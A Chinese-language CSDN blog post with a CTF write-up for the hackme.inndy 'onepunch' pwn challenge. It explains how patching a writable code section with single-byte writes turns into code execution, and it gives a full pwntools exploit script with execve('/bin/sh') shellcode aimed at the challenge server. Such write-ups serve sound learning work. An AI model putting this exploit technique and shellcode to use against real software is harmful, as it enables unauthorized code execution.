hackme inndy pwn onepunch writeup

继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束。。。。

然后找了半天。。。完全没思路。。。一个字节只能写一次。。。。

然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以有很多了

这里写图片描述

这里比较写入的字节是否为255,是的话就输出No flag for you

jnz loc_400773二进制是\x75\x0a 0a是偏移,我们只要把这个弄成负数,就可以跳回上面读取写入地址的地方

然后把jnz loc_400773下面的代码改成shellcode就可以

但是找了几个shellcode,发现很多都有255,那么这里就很简单,只要把cmp 那里的改成比较254就可以

但是如果直接输入 xxxx 254的话就直接过了jnz,这里有个小trick,用-2代替254就行了

下面就是完整的payload

from pwn import *
import time

#p=process('./onepunch')
p=remote('hackme.inndy.tw', 7718)

#context.log_level='debug'

p.recvuntil('What?')

p.sendline('400768 -61')

time.sleep(0.2)

p.sendline('400763 -2')

shell_addr=0x400769

#gdb.attach(proc.pidof(p)[0])
#raw_input()

shellcode='\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'


#context(arch='amd64',os='linux',log_level='debug')
#shellcode=asm(shellcraft.sh())


for i in range(len(shellcode)):
    p.sendline(hex(shell_addr+i)[2:]+'  '+str(ord(shellcode[i])))
    time.sleep(0.2)

p.sendline('400700 254')

p.interactive()
展开阅读全文
©️2020 CSDN 皮肤主题: 大白 设计师: CSDN官方博客 返回首页
实付0元
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值